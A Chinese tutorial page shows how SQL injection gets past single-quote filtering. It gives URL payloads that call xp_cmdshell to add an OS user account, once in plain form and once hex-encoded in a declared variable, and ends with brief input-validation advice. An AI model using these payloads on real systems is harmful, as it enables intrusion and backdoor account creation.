手机
当前位置:查字典教程网 >编程开发 >asp.net教程 >SQL注入中绕过 单引号 限制继续注入
SQL注入中绕过 单引号 限制继续注入
摘要:包括我写的那篇《SQLInjection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:复制代码...

包括我写的那篇《SQL Injection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:

复制代码 代码如下:

http://www.jb51.net/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:

复制代码 代码如下:

http://www.jb51.net/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

是不是跟上面的那句有很大区别?可是效果完全是一样的。其实这些都是SQL语句。

复制代码 代码如下:

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

复制代码 代码如下:

declare @a sysname

select @a=

exec master.dbo.xp_cmdshell @a

解决办法:

过滤变量,限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。

【SQL注入中绕过 单引号 限制继续注入】相关文章:

Asp.net 时间操作基类(支持短日期,长日期,时间差)

关于.NET动态代理的介绍和应用简介

ASP.NET中的跳转 200, 301, 302转向实现代码

.Net 如何限制用户登录的方法

axp.net ScriptManager的简单用法

asp用户注册示例代码

asp.net ajaxControlToolkit FilteredTextBoxExtender的简单用法

C#Web应用程序入门经典学习笔记之二

asp.net Split分割字符串的方法

我今天开始正式学习.net遇到的问题

精品推荐
分类导航